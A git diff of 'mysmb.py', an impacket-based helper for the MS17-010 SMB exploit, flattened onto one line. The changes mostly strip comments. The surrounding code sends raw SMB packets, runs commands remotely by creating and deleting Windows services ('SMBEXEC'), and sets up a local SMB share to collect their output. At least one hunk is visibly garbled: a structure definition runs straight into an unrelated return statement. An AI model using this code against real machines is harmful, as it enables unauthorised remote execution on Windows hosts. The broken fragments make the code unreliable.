diff --git a/mysmb.py b/mysmb.py index 4ae2eb4..eeb5f07 100644 --- a/mysmb.py +++ b/mysmb.py @@ -1,5 +1,3 @@ -# impacket SMB extension for MS17-010 exploit. -# this file contains only valid SMB packet format operation. from impacket import smb, smbconnection from impacket.dcerpc.v5 import transport, scmr from struct import pack @@ -15,7 +13,6 @@ def getNTStatus(self): return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) -############# SMB_COM_TRANSACTION_SECONDARY (0x26) class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters): structure = ( ('TotalParameterCount','H', len(req)) + req # assume length is <65536 + return '\x00'*2 + pack('>H', len(req)) + req def send_raw(self, data): self.get_socket().send(data) @@ -430,7 +418,6 @@ def __init__(self, share, rpc, mode, serviceName): s = rpc.get_smbconnection() - # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if mode == 'SERVER': myIPaddr = s.getSMBServer().get_socket().getsockname()[0] @@ -443,7 +430,7 @@ def __init__(self, share, rpc, mode, serviceName): self.do_cd('') def finish(self): - # Just in case the service is still created + try: self.__scmr = self.__rpc.get_dce_rpc() self.__scmr.connect() @@ -468,7 +455,7 @@ def emptyline(self): return False def do_cd(self, s): - # We just can't CD or maintain track of the target dir. + if len(s) > 0: logging.error("You can't CD under SMBEXEC. Use full paths.") @@ -516,7 +503,6 @@ def execute_remote(self, data): scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() - #print(self.__outputBuffer) def send_data(self, data): self.execute_remote(data) @@ -537,7 +523,7 @@ def cleanup_server(self): os.rmdir(SMBSERVER_DIR) def run(self): - # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() smbConfig.add_section('global') smbConfig.set('global','server_name','server_name') @@ -546,14 +532,12 @@ def run(self): smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') smbConfig.set('global','credentials_file','') - # Let's add a dummy share smbConfig.add_section(DUMMY_SHARE) smbConfig.set(DUMMY_SHARE,'comment','') smbConfig.set(DUMMY_SHARE,'read only','no') smbConfig.set(DUMMY_SHARE,'share type','0') smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) - # IPC always needed smbConfig.add_section('IPC$') smbConfig.set('IPC$','comment','') smbConfig.set('IPC$','read only','yes') @@ -580,4 +564,3 @@ def stop(self): self.smb.socket.close() self.smb.server_close() self._Thread__stop() -